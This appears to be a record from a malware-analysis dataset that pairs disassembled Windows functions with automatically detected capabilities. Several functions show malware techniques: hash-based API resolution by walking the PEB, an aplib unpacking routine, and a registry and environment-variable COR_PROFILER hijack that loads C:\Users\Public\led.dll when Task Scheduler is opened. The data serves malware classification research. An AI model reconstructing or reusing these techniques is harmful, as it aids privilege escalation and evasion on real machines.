joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140011dc0
Capabilities:
Query environment variable

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x4a8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x420], 0xfffffffffffffffe
mov rsi, rcx
lea rcx, [rbp - 0x60]
call fcn.14001c900
mov rax, qword [rbp - 0x60]
mov qword [rbp + 0x408], rax
test rax, rax
je 0x140011f46
mov qword [rbp + 0x400], rsi
mov rax, qword [rbp - 0x58]
mov qword [rbp + 0x418], rax
mov qword [rbp + 0x3e8], 2
xorps xmm0, xmm0
movups xmmword [rbp + 0x3f0], xmm0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x410], rax
xor edi, edi
xor ebx, ebx
xor r13d, r13d
cmp r8, 0x201
jae 0x140011e80
jmp 0x140011e6f
jae 0x140011f58
cmp r8, 0x201
jae 0x140011e80
mov r15d, 0x200
lea r14, [rbp - 0x60]
mov r12, r8
jmp 0x140011ed8
sub r8, r13
sub rbx, r13
cmp rbx, r8
jae 0x140011eaf
lea rcx, [rbp + 0x3e8]
mov rdx, r13
call fcn.14002b000
mov rax, qword [rbp + 0x3e8]
mov qword [rbp + 0x410], rax
mov rdi, qword [rbp + 0x3f0]
mov eax, 0xffffffff
cmp rdi, rax
mov r13d, 0xffffffff
cmovb r13, rdi
mov qword [rbp + 0x3f8], r13
mov rbx, rdi
mov r15, r13
mov r14, qword [rbp + 0x410]
mov r12, r13
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rcx, qword [rbp + 0x408]
mov rdx, r14
mov r8d, r12d
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov esi, eax
test eax, eax
jne 0x140011f07
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x14001202b
mov r8d, esi
cmp r12, r8
jne 0x140011e60
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x140012055
add r12, r12
mov eax, 0xffffffff
cmp r12, rax
cmovae r12, rax
mov r8, r12
cmp r8, 0x201
jb 0x140011e6f
jmp 0x140011e80
lea rcx, [rbp - 0x58]
call fcn.14000fbf0
mov byte [rsi + 0x18], 2
jmp 0x140011fea
cmp r15, r8
jb 0x14001206f
lea rcx, [rbp + 0x3a0]
mov rdx, r14
call fcn.140013dd0
movups xmm0, xmmword [rbp + 0x3a0]
movups xmm1, xmmword [rbp + 0x3b0]
movaps xmmword [rbp + 0x3d0], xmm1
movaps xmmword [rbp + 0x3c0], xmm0
test rdi, rdi
je 0x140011fa9
add rdi, rdi
mov r8d, 2
mov rcx, qword [rbp + 0x410]
mov rdx, rdi
call fcn.140004540
cmp byte [rbp + 0x3d8], 2
jne 0x140012001
mov rsi, qword [rbp + 0x400]
mov byte [rsi + 0x18], 2
lea rcx, [rbp + 0x3c0]
call fcn.14000fbf0
mov rdx, qword [rbp + 0x418]
test rdx, rdx
je 0x140011fea
add rdx, rdx
mov r8d, 2
mov rcx, qword [rbp + 0x408]
call fcn.140004540
mov rax, rsi
add rsp, 0x4a8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
movaps xmm0, xmmword [rbp + 0x3c0]
movaps xmm1, xmmword [rbp + 0x3d0]
mov rsi, qword [rbp + 0x400]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov rdx, qword [rbp + 0x418]
test rdx, rdx
jne 0x140011fd5
jmp 0x140011fea
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 0x3c0], rax
mov byte [rbp + 0x3d8], 2
test rdi, rdi
jne 0x140011f91
jmp 0x140011fa9
lea rcx, str.internal_error:_entered_unreachable_code_rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_alloc_src_vecmod.rs
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.14002be20
jmp 0x140012084
lea rax, str.library_std_src_syswindowsmod.rs
mov rcx, r8
mov rdx, r15
mov r8, rax
call fcn.14002c270
ud2
Function at 0x140019f40
Capabilities:
Move file

Disassembly:
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov qword [rbp], 0xfffffffffffffffe
mov rdi, r9
mov rbx, r8
mov r8, rdx
mov rdx, rcx
lea rcx, [rbp - 0x20]
call fcn.14001c900
mov rax, qword [rbp - 0x20]
mov rsi, qword [rbp - 0x18]
test rax, rax
je 0x14001a07a
mov rcx, qword [rbp - 0x10]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rsi
mov qword [rbp - 0x10], rcx
lea rcx, [rbp - 0x40]
lea rdx, [rbp - 0x20]
mov r8b, 1
call fcn.14001b640
mov rax, qword [rbp - 0x40]
mov rsi, qword [rbp - 0x38]
test rax, rax
je 0x14001a07a
mov qword [rbp - 0x28], rax
mov qword [rbp - 8], rsi
lea rcx, [rbp - 0x20]
mov rdx, rbx
mov r8, rdi
call fcn.14001c900
mov rax, qword [rbp - 0x20]
mov rsi, qword [rbp - 0x18]
test rax, rax
je 0x14001a059
mov rcx, qword [rbp - 0x10]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rsi
mov qword [rbp - 0x10], rcx
lea rcx, [rbp - 0x40]
lea rdx, [rbp - 0x20]
mov r8b, 1
call fcn.14001b640
mov rdi, qword [rbp - 0x40]
mov rsi, qword [rbp - 0x38]
test rdi, rdi
je 0x14001a059
mov r15, qword [rbp - 0x28]
mov rcx, r15
mov rdx, rdi
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
mov r14, qword [rbp - 8]
je 0x14001a08a
test rsi, rsi
je 0x14001a03c
add rsi, rsi
mov r8d, 2
mov rcx, rdi
mov rdx, rsi
call fcn.140004540
test r14, r14
je 0x14001a055
add r14, r14
mov r8d, 2
mov rcx, r15
mov rdx, r14
call fcn.140004540
xor esi, esi
jmp 0x14001a07a
mov r14, qword [rbp - 8]
mov r15, qword [rbp - 0x28]
test r14, r14
je 0x14001a07a
add r14, r14
mov r8d, 2
mov rcx, r15
mov rdx, r14
call fcn.140004540
mov rax, rsi
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
shl rbx, 0x20
or rbx, 2
test rsi, rsi
je 0x14001a0b3
add rsi, rsi
mov r8d, 2
mov rcx, rdi
mov rdx, rsi
call fcn.140004540
mov rsi, rbx
test r14, r14
jne 0x14001a066
jmp 0x14001a07a
Function at 0x14001a880
Capabilities:
Read file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
mov rcx, qword [rsp + 0xe0]
movups xmm0, xmmword [0x140030108]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
test rcx, rcx
je 0x14001a8c4
mov rdx, qword [rsp + 0xe8]
mov qword [rsp + 0x80], rdx
test rcx, rcx
mov qword [rsp + 0x78], rcx
lea rdx, [rsp + 0x80]
cmove rdx, rcx
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rdi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtReadFile]
cmp eax, 0x103
jne 0x14001a923
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0xc0000011
jne 0x14001a932
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
jmp 0x14001a96a
cmp eax, 0x103
je 0x14001a974
test eax, eax
js 0x14001a94f
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
mov qword [rsi], 0
jmp 0x14001a96a
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 1
add rsp, 0xa8
pop rdi
pop rsi
ret
mov dword [rsp + 0x58], 0
mov byte [rsp + 0x5c], 0
lea rax, [0x140030168]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
call fcn.140013a90
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x70]
call fcn.14000fd90
mov ecx, 7
int 0x29
ud2

Function at 0x14001a9e0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
mov rcx, qword [rsp + 0xe0]
movups xmm0, xmmword [0x140030108]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
test rcx, rcx
je 0x14001aa24
mov rdx, qword [rsp + 0xe8]
mov qword [rsp + 0x80], rdx
test rcx, rcx
mov qword [rsp + 0x78], rcx
lea rdx, [rsp + 0x80]
cmove rdx, rcx
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rdi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x14001aa8a
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0x103
je 0x14001aac1
test eax, eax
js 0x14001aa9b
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x14001aab4
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
add rsp, 0xa8
pop rdi
pop rsi
ret
mov dword [rsp + 0x58], 0
mov byte [rsp + 0x5c], 0
lea rax, [0x140030168]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
call fcn.140013a90
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x70]
call fcn.14000fd90
mov ecx, 7
int 0x29
ud2
Function at 0x1400291f0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test r8, r8
je 0x14002926a
mov rax, rdx
mov rdx, qword [rsp + 0x70]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x140029260
cmp r11, r10
ja 0x140029303
cmp r10, rdx
ja 0x140029317
add r11, r9
xor ebx, ebx
nop dword [rax]
cmp rdi, rbx
je 0x140029262
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x140029240
jmp 0x1400292d7
ja 0x14002926a
mov r11, r10
cmp rax, r8
jne 0x140029212
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x1400292db
mov r8, qword [rsp + 0x78]
add rdx, r8
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x1400292b0
mov r8, r10
sub ecx, r9d
jns 0x1400292ce
jmp 0x1400292dd
cmp r10, rdx
je 0x1400292e9
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x1400292dd
xor al, 1
cmp r8, rdx
jne 0x140029290
jmp 0x1400292dd
xor eax, eax
jmp 0x1400292dd
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.called__Option::unwrap____on_a__None__valuefrom_str_radix_int:_must_lie_in_the_range___2__36_____found
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.14002be20
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.14002c2f0
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.14002c270
ud2

Function at 0x14002a908
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002a952
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002a952
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002a952
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002a952
cmp dword [rcx + 0x84], 0xe
jbe 0x14002a952
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14002a954
xor al, al
add rsp, 0x28
ret
Function at 0x1400012d0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x140
mov rax, qword [0x140024008]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov rax, qword gs:[0x60]
mov edi, ecx
mov rdx, qword [rax + 0x18]
mov rbx, qword [rdx + 0x10]
cmp qword [rbx + 0x30], 0
je 0x140001386
nop dword [rax]
mov rdx, qword [rbx + 0x60]
lea rcx, [rsp + 0x20]
mov r8d, 0x104
call fcn.140008414
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_CharLowerA]
mov r8, rax
mov edx, 0x99
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [r8 + rax], 0
jne 0x140001340
xor r9d, r9d
test rax, rax
je 0x140001378
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
lea edx, [rdx + rdx*2]
inc r9d
lea r8, [r8 + 1]
add edx, ecx
movsxd rcx, r9d
cmp rcx, rax
jb 0x140001360
cmp edx, edi
je 0x1400013a9
mov rbx, qword [rbx]
cmp qword [rbx + 0x30], 0
jne 0x140001310
xor eax, eax
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.140001c00
mov rbx, qword [rsp + 0x150]
add rsp, 0x140
pop rdi
ret
mov rax, qword [rbx + 0x30]
jmp 0x140001388

Function at 0x1400013b0
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
mov eax, 0x5a4d
mov ebp, edx
mov r11, rcx
cmp word [rcx], ax
jne 0x140001457
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140001457
mov ebx, dword [rax + rcx + 0x88]
xor r10d, r10d
add rbx, rcx
mov edi, dword [rbx + 0x18]
test edi, edi
je 0x140001457
mov r14d, dword [rbx + 0x20]
nop
lea rax, [r14 + r10*4]
mov r8d, 0x99
mov edx, dword [rax + r11]
mov rax, 0xffffffffffffffff
add rdx, r11
nop dword [rax + rax]
inc rax
cmp byte [rdx + rax], 0
jne 0x140001420
xor r9d, r9d
test rax, rax
je 0x14000144a
movsx ecx, byte [rdx]
lea r8d, [r8 + r8*2]
inc r9d
lea rdx, [rdx + 1]
add r8d, ecx
movsxd rcx, r9d
cmp rcx, rax
jb 0x140001431
cmp r8d, ebp
je 0x140001470
inc r10d
cmp r10d, edi
jb 0x140001400
xor eax, eax
mov rbx, qword [rsp + 0x10]
mov rbp, qword [rsp + 0x18]
mov rsi, qword [rsp + 0x20]
mov rdi, qword [rsp + 0x28]
pop r14
ret
mov ecx, dword [rbx + 0x24]
add rcx, r11
movzx edx, word [rcx + r10*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r11
mov eax, dword [rcx + rdx*4]
add rax, r11
jmp 0x140001459
Function at 0x140005ef4
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x140005d87
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005d87
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005d87
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005d87
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005d87
cmp dword [rcx + 0x84], 0xe
jbe 0x140005d87
cmp dword [rcx + 0xf8], 0
je 0x140005d87
mov ecx, ebx
call fcn.140005e28
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.140005c18
cmp dword [rbp + 0x20], 0
je 0x140005dd4
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140005ddc
int3
xor r8d, r8d
xor edx, edx
jmp 0x140005d20
Function at 0x140001000
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
sub rsp, 0x60
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rbp, qword [rsp + 0xa0]
lea rax, [rsp + 0x50]
xor ecx, ecx
mov esi, r9d
mov qword [rsp + 0x40], rcx
mov rdi, r8
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], rcx
xor r8d, r8d
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], ecx
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov ebx, eax
test eax, eax
jne 0x1400010ec
mov eax, dword [rsp + 0xa8]
mov r9d, esi
mov rcx, qword [rsp + 0x50]
xor r8d, r8d
mov dword [rsp + 0x28], eax
mov rdx, rdi
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ebx, eax
test eax, eax
jne 0x1400010b2
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Registry_key_set_successfully._n
call fcn.140001460
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140001119
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_set_registry_value._Error:
call fcn.140001460
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140003310]
call fcn.140001460
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140001119
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_open_registry_key._Error:
call fcn.140001460
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140003310]
call fcn.140001460
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140001640
mov rbx, qword [rsp + 0x80]
add rsp, 0x60
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001140
Capabilities:
Delete registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, r8
lea rax, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov r9d, 2
lea rdx, str.Environment
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, eax
test eax, eax
jne 0x1400011f7
mov rcx, qword [rsp + 0x30]
mov rdx, rbx
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov ebx, eax
test eax, eax
jne 0x1400011bd
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Registry_value_deleted_successfully._n
call fcn.140001460
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140001224
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_delete_registry_value._Error:
call fcn.140001460
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140003310]
call fcn.140001460
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140001224
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_open_registry_key._Error:
call fcn.140001460
mov rcx, rax
mov edx, edi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140003310]
call fcn.140001460
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140001640
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x140001240
Capabilities:
Delete registry key
Execute command

Disassembly:
push rbx
sub rsp, 0x30
lea rbx, str.C:UsersPublicled.dll
mov dword [rsp + 0x28], 0x18
mov r9d, 2
mov qword [rsp + 0x20], rbx
xor r8d, r8d
lea rdx, str.SoftwareClassesCLSIDA2D4B6C7_1234_5678_9ABC_DEF012345678InprocServer32
call section..text
lea rax, str.A2D4B6C7_1234_5678_9ABC_DEF012345678
mov dword [rsp + 0x28], 0x27
mov r9d, 1
mov qword [rsp + 0x20], rax
lea r8, str.COR_PROFILER
lea rdx, str.Environment
call section..text
lea rax, [0x140003510]
mov dword [rsp + 0x28], 2
mov r9d, 1
mov qword [rsp + 0x20], rax
lea r8, str.COR_ENABLE_PROFILING
lea rdx, str.Environment
call section..text
mov r9d, 1
mov dword [rsp + 0x28], 0x18
lea r8, str.COR_PROFILER_PATH
mov qword [rsp + 0x20], rbx
lea rdx, str.Environment
call section..text
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Opening_Task_Scheduler..._n
call fcn.140001460
lea rcx, str.taskschd.msc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.SoftwareClassesCLSIDA2D4B6C7_1234_5678_9ABC_DEF012345678InprocServer32
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ebx, eax
test eax, eax
jne 0x140001339
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Registry_key_deleted_successfully._n
jmp 0x140001361
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_delete_registry_key._Error:
call fcn.140001460
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140003310]
call fcn.140001460
lea rdx, str.SoftwareClassesCLSIDA2D4B6C7_1234_5678_9ABC_DEF012345678
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ebx, eax
test eax, eax
jne 0x140001390
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Registry_key_deleted_successfully._n
jmp 0x1400013b8
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_delete_registry_key._Error:
call fcn.140001460
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140003310]
call fcn.140001460
lea r8, str.COR_PROFILER
call fcn.140001140
lea r8, str.COR_ENABLE_PROFILING
call fcn.140001140
lea r8, str.COR_PROFILER_PATH
call fcn.140001140
xor eax, eax
add rsp, 0x30
pop rbx
ret
Function at 0x140001f08
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001f52
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001f52
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001f52
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001f52
cmp dword [rcx + 0x84], 0xe
jbe 0x140001f52
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001f54
xor al, al
add rsp, 0x28
ret

Function at 0x1407a6058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1407a61df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1407a6089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407a606f
add dl, dl
jne 0x1407a6096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407a60f6
xor eax, eax
add dl, dl
jne 0x1407a60a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407a61ad
add dl, dl
jne 0x1407a60b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407a60c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407a60d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407a60dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1407a60ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1407a607e
mov eax, 1
add dl, dl
jne 0x1407a6106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407a6113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407a60fb
sub eax, ebx
mov ebx, 1
jne 0x1407a614c
mov ecx, 1
add dl, dl
jne 0x1407a612e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1407a613b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407a6123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407a607e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1407a6168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1407a6175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407a615d
cmp eax, 0x7d00
jae 0x1407a619b
cmp eax, 0x500
jb 0x1407a6196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407a607e
cmp eax, 0x7f
ja 0x1407a619e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407a607e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1407a61d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1407a607e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20